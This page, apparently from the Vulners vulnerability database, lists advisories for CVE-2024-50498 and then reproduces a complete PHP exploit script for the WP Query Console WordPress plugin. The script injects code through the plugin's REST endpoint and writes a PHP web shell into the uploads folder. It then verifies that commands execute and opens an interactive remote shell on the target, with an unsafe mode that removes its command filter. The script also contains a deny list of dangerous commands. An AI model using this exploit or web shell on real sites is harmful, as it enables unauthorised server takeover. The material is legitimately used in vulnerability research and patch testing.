| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| Exploit for Code Injection in Lubus Wp_Query_Console | 27 Jan 202622:19 | – | githubexploit | |
| Exploit for Code Injection in Lubus Wp_Query_Console | 4 Nov 202422:13 | – | githubexploit | |
| Exploit for Code Injection in Lubus Wp_Query_Console | 22 Jan 202620:29 | – | githubexploit | |
| CVE-2024-50498 | 28 Oct 202412:15 | – | attackerkb | |
| About Authentication Bypass – Hunk Companion WordPress plugin (CVE-2024-11972) vulnerability | 11 Jan 202512:41 | – | avleonov | |
| CVE-2024-50498 | 28 Oct 202413:38 | – | circl | |
| WordPress plugin WP Query Console 代码注入漏洞 | 28 Oct 202400:00 | – | cnnvd | |
| CVE-2024-50498 | 28 Oct 202411:24 | – | cve | |
| CVE-2024-50498 WordPress WP Query Console plugin <= 1.0 - Remote Code Execution (RCE) vulnerability | 28 Oct 202411:24 | – | cvelist | |
| WP Query Console <= 1.0 - Remote Code Execution | 29 May 202603:59 | – | nuclei |
=============================================================================================================================================
| # Title : WordPress Query Console 1.0 Exploit Implementation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/214250/ & CVE-2024-50498
[+] Summary : This code represents an advanced, class-based proof-of-concept targeting a WordPress Query Console vulnerability.
It is designed as a CLI-only tool that automates payload upload, verification, command execution testing, and optional interactive shell access, with cleanup capabilities afterward.
The implementation includes safety features such as a restricted command mode, basic rate limiting, OS detection, output sanitization, and payload markers to reduce false positives.
[+] Usage :
# Safe Mode (assumed) : php exploit.php --target http://victim.com
# Unsafe Mode (more commands) :php exploit.php --target http://victim.com --unsafe --timeout 20
# No automatic cleanup : php exploit.php --target http://victim.com --no-cleanup
[+] POC :
<?php
class WordPressQueryConsoleExploit {
private $target;
private $url;
private $cmdUrl;
private $isWindows;
private $timeout = 10;
private $payloadMarker;
private $uploadVerified = false;
public function __construct($target, $timeout = 10) {
$this->target = rtrim($target, '/');
$this->url = $this->target . "/wp-json/wqc/v1/query";
$this->cmdUrl = null;
$this->isWindows = null;
$this->timeout = max(5, min($timeout, 60));
$this->payloadMarker = 'WQC_EXPLOIT_' . bin2hex(random_bytes(8));
}
public function setTimeout($timeout) {
$this->timeout = max(5, min($timeout, 60));
}
private function banner() {
$banner = <<<BANNER
██╗███╗ ██╗██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗██╗ ██╗ █████╗
██║████╗ ██║██╔══██╗██╔═══██╗██║ ██║██╔════╝██║ ██║██║ ██╔╝██╔══██╗
██║██╔██╗ ██║██ █╔╝██║ ██║██║ ██║███████╗███████║█████╔╝ ███████║
██║██║╚██╗██║██╔══██╗██║ ██║██║ ██║╚════██║██╔══██║██╔═██╗ ██╔══██║
██║██║ ╚████║██████╔╝╚██████╔╝╚██████╔╝███████║██║ ██║██║ ██╗██║ ██║
╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝
WordPress Query Console 1.0 Exploit Implementation
BANNER;
echo $banner;
}
private function printMessage($message, $icon) {
echo $icon . " " . $message . "\n";
usleep(100000);
}
private function extractHostFromUrl($url) {
$parsed = parse_url($url);
return $parsed['host'] ?? parse_url('http://localhost', PHP_URL_HOST);
}
private function httpRequest($url, $method = 'GET', $data = null, $headers = [], $params = []) {
$ch = curl_init();
if (!empty($params) && $method === 'GET') {
$url .= (strpos($url, '?') === false ? '?' : '&') . http_build_query($params);
}
$defaultHeaders = [
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0',
'Accept: */*',
'Accept-Language: en-US,en;q=0.5',
'Accept-Encoding: identity',
'DNT: 1',
'Connection: close'
];
$allHeaders = array_merge($defaultHeaders, $headers);
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_HTTPHEADER => $allHeaders,
CURLOPT_HEADER => false
]);
if ($method === 'POST') {
curl_setopt($ch, CURLOPT_POST, true);
if ($data !== null) {
curl_setopt($ch, CURLOPT_POSTFIELDS, is_string($data) ? $data : json_encode($data));
if (is_array($data)) {
$allHeaders[] = 'Content-Type: application/json';
curl_setopt($ch, CURLOPT_HTTPHEADER, $allHeaders);
}
}
}
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
return [
'code' => $httpCode,
'body' => $response !== false ? $response : '',
'error' => $error,
'success' => $httpCode >= 200 && $httpCode < 300 && empty($error)
];
}
private function uploadPayload() {
$host = $this->extractHostFromUrl($this->target);
$headers = [
'Host: ' . $host,
'Referer: ' . $this->target . '/wp-admin/admin.php?page=wp-query-console',
'Origin: ' . $this->target
];
$payloadCode = base64_encode('<?php
if (isset($_GET["cmd"]) && !empty($_GET["cmd"])) {
header("Content-Type: text/plain");
$cmd = $_GET["cmd"];
$output = "";
$return_var = 0;
$os = strtolower(PHP_OS);
$isWin = (strpos($os, "win") === 0);
if ($isWin) {
$cmd = "cmd /c \"" . addslashes($cmd) . " 2>&1\"";
} else {
$cmd = escapeshellcmd($cmd) . " 2>&1";
}
if (function_exists("system")) {
@ob_start();
@system($cmd, $return_var);
$output = @ob_get_clean();
} elseif (function_exists("passthru")) {
@ob_start();
@passthru($cmd, $return_var);
$output = @ob_get_clean();
} elseif (function_exists("exec")) {
@exec($cmd, $outputArray, $return_var);
$output = implode("\n", $outputArray);
} elseif (function_exists("shell_exec")) {
$output = @shell_exec($cmd);
}
if (empty($output) && $return_var != 0) {
echo "Command failed with exit code: " . $return_var;
} else {
echo $output !== null ? $output : "No output";
}
} else {
echo "SYSTEM_INFO:OS=" . PHP_OS . ";PHP=" . PHP_VERSION . ";TIME=" . time() . ";MARKER=' . $this->payloadMarker . '";
}
?>');
$data = [
"queryArgs" => "file_put_contents('wp-content/uploads/' . date('Y') . '/' . date('m') . '/wqc_" . bin2hex(random_bytes(4)) . ".php', base64_decode('" . $payloadCode . "'));",
"queryType" => "WP_Query"
];
$this->printMessage("Uploading payload...", "[+]");
$result = $this->httpRequest($this->url, 'POST', $data, $headers);
if (!$result['success']) {
$this->printMessage("Upload failed: " . ($result['error'] ?: "HTTP {$result['code']}"), "[-]");
return false;
}
$jsonResponse = json_decode($result['body'], true);
if ($jsonResponse !== null) {
if (isset($jsonResponse['status']) && $jsonResponse['status'] >= 400) {
$this->printMessage("API Error: " . ($jsonResponse['message'] ?? json_encode($jsonResponse)), "[-]");
return false;
}
if (isset($jsonResponse['code']) && is_numeric($jsonResponse['code']) && $jsonResponse['code'] >= 400) {
$this->printMessage("API Error Code: " . $jsonResponse['code'], "[-]");
return false;
}
if (isset($jsonResponse['success']) && $jsonResponse['success'] === false) {
$this->printMessage("API reported failure", "[-]");
return false;
}
}
$this->printMessage("Upload request completed", "[+]");
return true;
}
private function locateAndVerifyPayload() {
$currentYear = date('Y');
$currentMonth = str_pad(date('n'), 2, '0', STR_PAD_LEFT);
$possiblePaths = [
$this->target . "/wp-content/uploads/{$currentYear}/{$currentMonth}/",
$this->target . "/wp-content/uploads/",
$this->target . "/uploads/{$currentYear}/{$currentMonth}/",
$this->target . "/uploads/"
];
$testFiles = ['wqc_*.php', 'cmd.php', 'shell.php'];
foreach ($possiblePaths as $basePath) {
$this->printMessage("Scanning: " . $basePath, "[*]");
foreach ($testFiles as $pattern) {
if ($pattern === 'wqc_*.php') {
for ($i = 0; $i < 3; $i++) {
$testPath = $basePath . 'wqc_' . bin2hex(chr(97 + $i)) . '.php';
$result = $this->testPayloadFile($testPath);
if ($result['found']) {
$this->cmdUrl = $testPath;
$this->parseSystemInfo($result['response']);
$this->uploadVerified = true;
return true;
}
}
} else {
$testPath = $basePath . $pattern;
$result = $this->testPayloadFile($testPath);
if ($result['found']) {
$this->cmdUrl = $testPath;
$this->parseSystemInfo($result['response']);
$this->uploadVerified = true;
return true;
}
}
}
}
$this->printMessage("Payload not found in common locations", "[-]");
return false;
}
private function testPayloadFile($url) {
$result = $this->httpRequest($url);
if (!$result['success'] || $result['code'] !== 200) {
return ['found' => false, 'response' => ''];
}
$body = trim($result['body']);
if (strpos($body, $this->payloadMarker) !== false) {
return ['found' => true, 'response' => $body];
}
if (strpos($body, 'SYSTEM_INFO:') !== false) {
return ['found' => true, 'response' => $body];
}
if (strpos($body, '<?php') !== false && strlen($body) < 5000) {
return ['found' => true, 'response' => $body];
}
return ['found' => false, 'response' => $body];
}
private function parseSystemInfo($response) {
if (preg_match('/SYSTEM_INFO:OS=([^;]+)/', $response, $matches)) {
$os = strtolower($matches[1]);
$this->isWindows = (strpos($os, 'win') === 0);
$this->printMessage("Detected OS: " . $matches[1] . " (" . ($this->isWindows ? "Windows" : "Unix-like") . ")", "[+]");
} else {
$this->isWindows = null;
$this->printMessage("OS detection failed", "[-]");
}
}
private function testCommandExecution() {
if (!$this->uploadVerified) {
return false;
}
$this->printMessage("Testing command execution...", "[+]");
$testCommands = [
'universal' => ['echo ' . $this->payloadMarker, 'whoami 2>&1', 'echo %CD% 2>&1 || pwd 2>&1'],
'windows' => ['ver 2>&1', 'dir 2>&1', 'echo %USERNAME% 2>&1'],
'unix' => ['uname -a 2>&1', 'id 2>&1', 'pwd 2>&1']
];
$successCount = 0;
$maxTests = 3;
foreach ($testCommands['universal'] as $cmd) {
$result = $this->executeCommand($cmd);
if ($result['executed'] && !empty(trim($result['output']))) {
$successCount++;
// محاولة اكتشاف النظام من الناتج
if ($this->isWindows === null) {
$outputLower = strtolower($result['output']);
if (strpos($outputLower, 'windows') !== false || strpos($outputLower, 'microsoft') !== false) {
$this->isWindows = true;
} elseif (strpos($outputLower, 'linux') !== false || strpos($outputLower, 'unix') !== false) {
$this->isWindows = false;
}
}
if ($successCount >= 2) {
$this->printMessage("Command execution verified", "[+]");
return true;
}
}
usleep(200000);
}
if ($this->isWindows !== null) {
$type = $this->isWindows ? 'windows' : 'unix';
foreach ($testCommands[$type] as $cmd) {
$result = $this->executeCommand($cmd);
if ($result['executed']) {
$successCount++;
if ($successCount >= 2) {
$this->printMessage("Command execution verified", "[+]");
return true;
}
}
usleep(200000);
}
}
$this->printMessage("Command execution test inconclusive (success: {$successCount}/{$maxTests})", "[!]");
return $successCount > 0;
}
private function executeCommand($command) {
$result = $this->httpRequest($this->cmdUrl, 'GET', null, [], ['cmd' => $command]);
if (!$result['success']) {
return ['executed' => false, 'output' => '', 'error' => $result['error']];
}
$output = trim($result['body']);
$isErrorPage = (
strpos($output, '<!DOCTYPE') === 0 ||
strpos($output, '<html') !== false ||
strpos($output, 'error') !== false && strlen($output) > 1000
);
$executed = !$isErrorPage && $output !== '' && strpos($output, $this->payloadMarker) === false;
return [
'executed' => $executed,
'output' => $output,
'error' => $isErrorPage ? 'HTML response detected' : ''
];
}
private function validateCommand($command) {
$command = trim($command);
if (empty($command)) {
return ['valid' => false, 'reason' => 'Empty command'];
}
$allowedCommands = [
'whoami', 'id', 'pwd', 'ls', 'dir', 'cat', 'type',
'uname', 'hostname', 'ipconfig', 'ifconfig', 'netstat',
'ps', 'tasklist', 'echo', 'find', 'grep', 'wc', 'head',
'tail', 'df', 'du', 'free', 'top', 'env', 'set'
];
$baseCmd = explode(' ', $command)[0];
$baseCmd = preg_replace('/[^a-z0-9]/i', '', $baseCmd);
if ($this->isWindows !== null) {
if ($this->isWindows) {
$allowedCommands = array_merge($allowedCommands, ['ver', 'systeminfo', 'net', 'sc', 'reg']);
} else {
$allowedCommands = array_merge($allowedCommands, ['ls', 'cp', 'mv', 'rm', 'mkdir', 'chmod', 'chown']);
}
}
if (!in_array(strtolower($baseCmd), $allowedCommands)) {
return [
'valid' => false,
'reason' => "Command '{$baseCmd}' not in allowed list. Use --unsafe to bypass."
];
}
$dangerousPatterns = [
'/\b(rm\s+-rf|del\s+\/q|format|mkfs|dd\s+if)/i',
'/\b(wget|curl|ftp)\s+http/i',
'/\|\s*(bash|sh|cmd|powershell)\s*$/i',
'/`.*`/',
'/\$\s*\(/',
'/>\s*\/dev\/(sda|null)/i'
];
foreach ($dangerousPatterns as $pattern) {
if (preg_match($pattern, $command)) {
return ['valid' => false, 'reason' => 'Potentially dangerous command pattern detected'];
}
}
return ['valid' => true, 'reason' => ''];
}
private function interactiveShell($unsafeMode = false) {
$this->printMessage("Entering interactive shell...", "[+]");
echo "Type 'exit', 'quit', or press Ctrl+C to leave.\n";
if (!$unsafeMode) {
echo "Safe mode enabled. Some commands may be restricted.\n";
echo "Use --unsafe flag for fewer restrictions.\n";
}
echo "\n";
$commandHistory = [];
$lastCommandTime = 0;
$commandCount = 0;
while (true) {
echo "shell> ";
$input = fgets(STDIN);
if ($input === false) {
echo "\n";
break; // Ctrl+D
}
$command = trim($input);
if (empty($command)) {
continue;
}
if (in_array(strtolower($command), ['exit', 'quit', ':q'])) {
$this->printMessage("Exiting shell", "[+]");
break;
}
if ($command === ':history') {
foreach ($commandHistory as $i => $cmd) {
echo sprintf("[%d] %s\n", $i + 1, $cmd);
}
continue;
}
if ($command === ':info') {
echo "Target: " . $this->target . "\n";
echo "Payload: " . $this->cmdUrl . "\n";
echo "OS: " . ($this->isWindows ? "Windows" : ($this->isWindows === false ? "Unix-like" : "Unknown")) . "\n";
echo "Commands executed: " . $commandCount . "\n";
continue;
}
$currentTime = microtime(true);
if ($commandCount > 4 && ($currentTime - $lastCommandTime) < 2.0) {
$wait = 2.0 - ($currentTime - $lastCommandTime);
$this->printMessage(sprintf("Rate limit: waiting %.1f seconds...", $wait), "[!]");
usleep($wait * 1000000);
}
$lastCommandTime = microtime(true);
$commandCount++;
$commandHistory[] = $command;
if (!$unsafeMode) {
$validation = $this->validateCommand($command);
if (!$validation['valid']) {
echo "Command rejected: " . $validation['reason'] . "\n";
continue;
}
}
$result = $this->executeCommand($command);
if (!$result['executed']) {
echo "Execution failed";
if (!empty($result['error'])) {
echo ": " . $result['error'];
}
echo "\n";
continue;
}
$output = $result['output'];
$output = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $output);
$output = preg_replace('/<style\b[^>]*>(.*?)<\/style>/is', '', $output);
$output = strip_tags($output);
$output = html_entity_decode($output, ENT_QUOTES | ENT_HTML5, 'UTF-8');
if (empty(trim($output))) {
echo "(No output)\n";
} else {
$lines = explode("\n", $output);
if (count($lines) > 50) {
echo "Output truncated to first 50 lines. Total: " . count($lines) . " lines\n";
echo "---\n";
$lines = array_slice($lines, 0, 50);
$output = implode("\n", $lines) . "\n... [truncated]";
}
echo $output . "\n";
}
}
}
public function cleanup($force = false) {
if (!$this->cmdUrl) {
return false;
}
$this->printMessage("Attempting cleanup...", "[+]");
if ($this->isWindows) {
$cleanupCmd = 'del /f "' . addslashes($this->cmdUrl) . '"';
} else {
// Unix-like
$cleanupCmd = 'rm -f "' . addslashes($this->cmdUrl) . '"';
}
$result = $this->executeCommand($cleanupCmd);
if ($result['executed']) {
$check = $this->httpRequest($this->cmdUrl);
if ($check['code'] === 404 || $check['code'] >= 400) {
$this->printMessage("Cleanup successful", "[+]");
return true;
}
}
$this->printMessage("Cleanup may have failed", "[-]");
return false;
}
public function exploit($unsafeMode = false) {
$this->banner();
if (!$this->uploadPayload()) {
$this->printMessage("Upload failed", "[-]");
return false;
}
if (!$this->locateAndVerifyPayload()) {
$this->printMessage("Payload verification failed", "[-]");
echo "Enter payload URL manually (or press Enter to exit): ";
$manualUrl = trim(fgets(STDIN));
if (!empty($manualUrl)) {
$this->cmdUrl = $manualUrl;
$this->uploadVerified = true;
} else {
return false;
}
}
$executionTest = $this->testCommandExecution();
if (!$executionTest) {
$this->printMessage("WARNING: Command execution may not work", "[!]");
echo "Continue anyway? (y/n): ";
$response = trim(fgets(STDIN));
if (strtolower($response) !== 'y') {
return false;
}
}
$this->interactiveShell($unsafeMode);
return true;
}
}
if (php_sapi_name() !== 'cli') {
die("This script must be run from command line\n");
}
$options = getopt("", ["target:", "timeout:", "unsafe", "help", "no-cleanup"]);
$target = $options['target'] ?? null;
$timeout = isset($options['timeout']) ? intval($options['timeout']) : 10;
$unsafeMode = isset($options['unsafe']);
$noCleanup = isset($options['no-cleanup']);
if (isset($options['help']) || !$target) {
echo "WordPress Query Console CVE-2024-50498 Exploit by indoushka\n";
echo "============================================================\n\n";
echo "Usage: php " . basename(__FILE__) . " --target <URL> [OPTIONS]\n\n";
echo "Required:\n";
echo " --target <URL> Target WordPress URL (e.g., http://example.com)\n\n";
echo "Options:\n";
echo " --timeout <sec> Request timeout in seconds (5-60, default: 10)\n";
echo " --unsafe Disable command validation (less safe)\n";
echo " --no-cleanup Do not attempt to remove payload after exit\n";
echo " --help Show this help message\n\n";
echo "Examples:\n";
echo " php " . basename(__FILE__) . " --target http://wp-site.com\n";
echo " php " . basename(__FILE__) . " --target https://victim.com --timeout 15 --unsafe\n";
exit(1);
}
try {
$exploit = new WordPressQueryConsoleExploit($target, $timeout);
if (!$noCleanup) {
register_shutdown_function(function() use ($exploit) {
$exploit->cleanup();
});
}
$success = $exploit->exploit($unsafeMode);
if (!$success) {
echo "\nExploit failed. Possible reasons:\n";
echo " - Target is not vulnerable\n";
echo " - Plugin not installed/activated\n";
echo " - Security restrictions\n";
echo " - Network/firewall issues\n";
exit(1);
}
} catch (Exception $e) {
echo "[!] Fatal Error: " . $e->getMessage() . "\n";
echo "Trace: " . $e->getTraceAsString() . "\n";
exit(1);
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation